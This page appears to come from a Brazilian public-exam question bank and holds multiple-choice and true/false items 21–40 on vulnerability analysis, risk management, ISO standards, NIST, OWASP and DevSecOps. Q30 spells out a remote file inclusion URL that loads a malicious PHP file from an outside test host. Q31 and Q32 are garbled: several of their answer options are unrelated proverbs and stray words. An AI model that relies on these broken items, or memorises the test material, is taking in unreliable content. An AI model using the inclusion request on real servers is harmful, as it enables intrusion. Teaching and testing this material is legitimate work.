Questões de Análise de Vulnerabilidade e Gestão de Riscos com Gabarito (Comentado)

21

Q1039772 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • TRF 6 REGIÃO • Técnico Judiciário Área Administrativa • 2025

Julgue o próximo item, relativo a noções de segurança da informação e de serviço de inteligência.

A análise de riscos, além de englobar as ameaças e as vulnerabilidades, estende-se aos impactos decorrentes de cada evento adverso.

a) Certo
b) Errado

22

Q1039764 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • TRF 6 REGIÃO • Técnico Judiciário Desenvolvimento de Sistemas • 2025

Acerca de gestão de riscos e continuidade de negócio, julgue o item que se segue, com base na NBR ISO 27005:2019 e na Lei Geral de Proteção de Dados (LGPD).

O processo de gestão de riscos de segurança da informação pode ser relativo à organização como um todo, mas também pode ser aplicado apenas a aspectos particulares de um controle da organização, como o seu plano de continuidade de negócios.

a) Certo
b) Errado

23

Q1039176 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FCC • TRT 18 Região GO • Especialidade Agente da Polícia Judicial • 2023

Com relação ao tratamento de vulnerabilidades e exposição constante das coisas e pessoas protegidas a riscos e ameaças, considere as seguintes circunstâncias e ações a elas relacionadas:
Circunstâncias:
I. Alta probabilidade de ocorrência e possibilidade de impacto negativo severo. II. Menor probabilidade de ocorrência, porém com efeito muito danoso, caso ocorra. III. Alta probabilidade de ocorrência, mas que causa pouco dano. IV. Baixa probabilidade de ocorrência e pequeno impacto, caso ocorra.
Ações:
a. Providências adotadas apenas em caso de ocorrência. b. Monitoramento sistemático e rotineiro. c. Adoção imediata de procedimentos. d. Planejadas e incorporadas a um plano de contingências.
Representa a correta correlação entre as circunstâncias e as ações:

a) I-b ? II-c ? III-d ? IV-a.
b) I-d ? II-b ? III-c ? IV-a.
c) I-c ? II-a ? III-b ? IV-d.
d) I-a ? II-b ? III-c ? IV-d.
e) I-c ? II-b ? III-d ? IV-a.

24

Q1038754 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • BANRISUL • Tecnologia Segurança Infra e Operação • 2025

No DevSecOps, diversas ferramentas são utilizadas para a segurança do software durante todo o ciclo de desenvolvimento. Uma das práticas dessa abordagem consiste na

a) eliminação da necessidade de auditorias de segurança, pois os testes automatizados garantem a proteção do software.
b) separação entre desenvolvimento e segurança, que permite que cada equipe trabalhe de forma independente.
c) integração de testes de segurança automatizados no pipeline de CI/CD, para garantir a detecção precoce de vulnerabilidades.
d) realização de testes de segurança restrita à fase final do desenvolvimento para evitar impacto na produtividade.
e) implementação de segurança manual, sem o uso de automação, para garantir maior controle sobre os processos.

25

Q1038753 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • BANRISUL • Tecnologia Segurança Infra e Operação • 2025

DevSecOps é uma abordagem que integra segurança ao ciclo de vida do desenvolvimento de software, garantindo que vulnerabilidades sejam identificadas e corrigidas desde as primeiras etapas do processo. Uma das características dessa abordagem é a

a) dependência exclusiva de ferramentas externas para a garantia da segurança do software.
b) separação total entre desenvolvimento e segurança, que permite que cada equipe trabalhe de forma independente.
c) eliminação da necessidade de monitoramento contínuo, pois os testes são realizados apenas antes da implantação.
d) restrição do acesso ao código-fonte apenas para a equipe de segurança, o que garante maior proteção.
e) automação de testes de segurança, que reduz o tempo necessário para identificação e correção de vulnerabilidades.

26

Q1038614 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESGRANRIO • BANESE • Suporte • 2025

A segurança é uma condição do sistema resultante do estabelecimento e da manutenção das medidas de proteção do sistema. As vulnerabilidades de um sistema podem ser exploradas para violar a sua segurança. Uma medida de proteção básica é configurar um sistema para operar de uma forma que elimine ou mitigue vulnerabilidades conhecidas.
Essa medida de proteção é conhecida como

a) blocking
b) evading
c) hardening
d) jamming
e) sealing

27

Q1038347 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • BDMG • Infraestrutura e Segurança Cibernética • 2025

A respeito de governança de segurança da informação e de testes de segurança, julgue o item subsecutivo.

No framework NIST, a categoria proteger envolve os aspectos de gestão de ativos e de avaliação de riscos.

a) Certo
b) Errado

28

Q1037299 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FGV • DATAPREV • Analista de Processamento • 2024

No contexto de soluções para gerenciamento de contêineres e virtualização, osoftware utilizado especificamente para análise de vulnerabilidades de imagens de contêiner é o

a) Red Hat Clair.
b) VMware vCenter Server.
c) Kubernetes.
d) VMware NSX.
e) Docker

29

Q1037289 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FGV • DATAPREV • Analista de Processamento • 2024

O NIST (National Institute of Standards and Technology) Cybersecurity Framework (versão 1.1) é amplamente utilizado como uma referência para fortalecer a segurança cibernética em organizações.
Estruturado de forma a fornecer um guia adaptável para o gerenciamento de riscos, as funções do componente principal do framework, excluindo a camada de implementação e os perfis, são

a) Governança, Auditoria, Resposta, Recuperação e Comunicação.
b) Identificação, Proteção, Detecção, Resposta e Recuperação.
c) Avaliação de Riscos, Proteção de Dados, Conformidade, Resposta a Incidentes e Recuperação.
d) Planejamento, Proteção, Detecção, Mitigação e Recuperação.
e) Classificação de Riscos, Proteção de Ativos, Monitoramento, Resposta e Recuperação.

30

Q1034433 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FGV • TCE RR • Desenvolvedor de Sistemas • 2025

A página web da sociedade empresária Exemplo1234, disponível na internet, permite que internautas acessem o edital de uma vaga de trabalho por meio do endereço eletrônico http://empresa1234.com/vaga.php?file=vaga.pdf.
Durante a verificação de vulnerabilidades contratada por essa empresa, foi observado que o servidor da página web da Empresa1234 processava o valor fornecido no parâmetro file sem realizar validação ou sanitização adequada.
Como resultado, foi possível incluir e executar no servidor o conteúdo de um arquivo malicioso hospedado no endereço http://testevulnerabilidade.com/badpage.php
O teste foi realizado utilizando o seguinte endereço:
http://empresa1234.com/vaga.php?file=http://testevulnerabilida de.com/badpage.php
Ao acessar essa URL, o conteúdo do arquivo badpage.php foi carregado e executado diretamente pelo servidor da Empresa1234, comprometendo sua segurança.
O tipo de vulnerabilidade presente no servidor de página da Empresa1234 é o

a) LFI – Local File Inclusion.
b) XSS – Cross-Site Scripting.
c) SQL Injection.
d) RFI – Remote File Inclusion.
e) FPD – Full Path Disclosure.

31

Q1028576 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FGV • MPE RJ • Tecnologia da Informação • 2025

Segundo o documento OWASP Top 10 vulnerabilities de 2021, o design inseguro é uma categoria ampla que representa diferentes fraquezas que são expressas como "design de controle ausente ou ineficaz". O documento destaca que há uma diferença entre design inseguro e implementação insegura e distingue entre falhas de design e defeitos de implementação, pois eles têm diferentes causas e remediações. Um design seguro pode ter defeitos de implementação que levam a vulnerabilidades que podem ser exploradas. Um design inseguro não pode ser corrigido por uma implementação segura, pois, por definição, os controles de segurança necessários nunca foram criados para se defender contra ataques específicos. Avalie se as formas de prevenção contra o design inseguro expressas no OWASP, incluem:

I. Estabelecer e usar um ciclo de vida de desenvolvimento seguro com profissionais de AppSec para ajudar a avaliar e projetar controles relacionados à segurança e privacidade e estabelecer e utilizar uma biblioteca de padrões de projeto seguros.

II. Escrever testes unitários e de integração para validar se todos os fluxos críticos são resistentes ao modelo de ameaça e compilar casos de uso e casos de uso incorreto para cada camada do aplicativo.

III. Unificar os controles de segurança em histórias de usuários e restringir verificações de plausibilidade em cada camada do seu aplicativo (do frontend ao backend) ao time de design e limitar o consumo de recursos computacionais por usuário ou serviço.

Está correto o que se afirma em

a) II e III, apenas.
b) I e II, apenas.
c) A grama do quintal do vizinho está sempre mais verde / A inveja comanda as nossas reações.
d) Mais vale um gosto que três vinténs / conselho de economia doméstica.
e) Não deixes para amanhã o que podes fazer hoje / conselho a ser rápido na execução das tarefas, antes que outros o façam.

32

Q1028341 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FGV • MPU • Suporte e Infraestrutura • 2025

Karen é funcionária pública do Ministério Público da União (MPU) e foi designada para determinar e implementar controles de acordo com a Norma ABNT NBR ISO/IEC 27002:2022 para tratamento de riscos de segurança da informação em um sistema de gestão de segurança da informação (SGSI) do MPU, baseado na ABNT NBR ISO/IEC 27001. Entretanto, para iniciar esse processo, Karen precisará determinar, junto com a organização, os requisitos de segurança necessários para atender a demanda do MPU.
Para identificar esses requisitos, as principais fontes de requisitos, segundo a Norma ABNT NBR ISO/IEC 27002:2022, observadas por Karen, são:

a) avaliação de riscos da organização, considerando estratégia e os objetivos globais de negócios e requisitos legais que devem ser cumpridos;
b) plano estratégico de Tecnologia da Informação, além de seus requisitos contratuais com as partes interessadas e seu ambiente sociocultural;
c) adaptativa;
d) física;
e) em sistemas IoT (Internet das coisas).

33

Q1018252 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • STM • Especialidade Suporte em Tecnologia da Informação • 2025

📖 Texto associado ▼

Em relação a ataques de malwares e a frameworks de segurança da informação, julgue o item subsequente.

O MITRE ATT&CK é um modelo que busca categorizar o comportamento do atacante, com base em apenas dois componentes principais: táticas e procedimentos.

a) Certo
b) Errado

34

Q996075 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • IBFC • POLÍCIA CIENTÍFICAPR • Área 3 • 2024

A respeito do método de dicionário para decifragem de dados, é correto afirmar:

a) Consiste em um método pouco sofisticado, no qual se realiza uma busca exaustiva de todas as possibilidades de um determinado conjunto.
b) Palavras e expressões relacionadas a filmes, músicas, esportes, cidades ou contidas em determinado sítio na internet atrapalham o exame pericial, e não devem ser utilizados como método de decifragem.
c) Consiste em arquivos de texto contendo uma palavra-chave por linha. Um exemplo prático é a tática de combinações de dados biográficos do suspeito e de parentes próximos do usuário investigado (incluindo nomes próprios, datas importantes, números de telefone, CPF, identidade, endereço.
d) É um processo que ataca o algoritmo criptográfico.
e) O exame pericial de decifragem do método dicionário consiste no armazenamento em disco de todas as chaves possíveis de um algoritmo, sem que haja nenhum tipo de compressão. Assim, um sistema que utilize uma chave de tamanho n, no qual seriam necessários 2ⁿ bits.

35

Q903918 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FGV • TRF 1a • Especialidade: Tecnologia da Informação • 2024

Aline é policial investigativa e recebeu uma denúncia sobre a compra de registros de domínios de segundo nível. Ao buscar informações, identificou uma prática na qual indivíduos registravam vários domínios apenas para esperar vendê-los a uma parte interessada a um preço muito mais alto.
Aline fez um estudo do caso e viu que os indivíduos que executavam essa prática são conhecidos como:

a) phreakers;
b) grey hat;
c) cybersquatters;
d) white hat;
e) script kiddies.

36

Q886400 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • FUNDATEC • Prefeitura de Cruzaltense RS • Técnico em Informática • 2024

De acordo com a norma NBR ISO/IEC 27005:2011, as vulnerabilidades podem ser classificadas quanto ao tipo de ativo secundário ao qual elas se aplicam: de hardware, de software, de rede, de __________, de instalações e da estrutura organizacional.
Assinale a alternativa que preenche corretamente a lacuna do trecho acima.

a) dados
b) processos de negócio
c) informações
d) pessoal
e) estratégia

37

Q850811 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • Analista de Segurança da Informação • 2020

Julgue o próximo item, a respeito de gerência de riscos.

Risco é o efeito da incerteza nos objetivos, sendo normalmente expresso em termos de fontes de risco, eventos potenciais, suas consequências e suas probabilidades.

a) Certo
b) Errado

38

Q850228 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • Analista de Segurança da Informação • 2020

Acerca de ataques do dia zero (zero day attacks), julgue o item que se seguem.

Em um mundo digital, exploits zero-day são amplamente encontrados, sendo desnecessário conhecimento técnico elaborado para os hackers descobrirem novas brechas, porque a maioria dos usuários não atualiza seus equipamentos com frequência.

a) Certo
b) Errado

39

Q849951 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • Analista de Segurança da Informação • 2020

Acerca de ataques do dia zero (zero day attacks), julgue o item que se seguem.

As melhores práticas estabelecem que, para combater a disseminação de zero days, as organizações podem publicar um processo de vulnerabilidades, mantendo relatórios de segurança e triagem dos problemas reportados internamente.

a) Certo
b) Errado

40

Q849662 • Segurança da Informação • Análise de Vulnerabilidade e Gestão de Riscos • CESPE CEBRASPE • Analista de Segurança da Informação • 2020

Julgue o próximo item, a respeito de gerência de riscos.

Para gerenciar riscos, devem-se considerar os contextos externo e interno da organização, salvo o comportamento humano.

a) Certo
b) Errado

Questões de Concursos

Resolva questões de Análise de Vulnerabilidade e Gestão de Riscos comentadas com gabarito, online ou em PDF, revisando rapidamente e fixando o conteúdo de forma prática.

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Reportar erro em questao

Busca no Site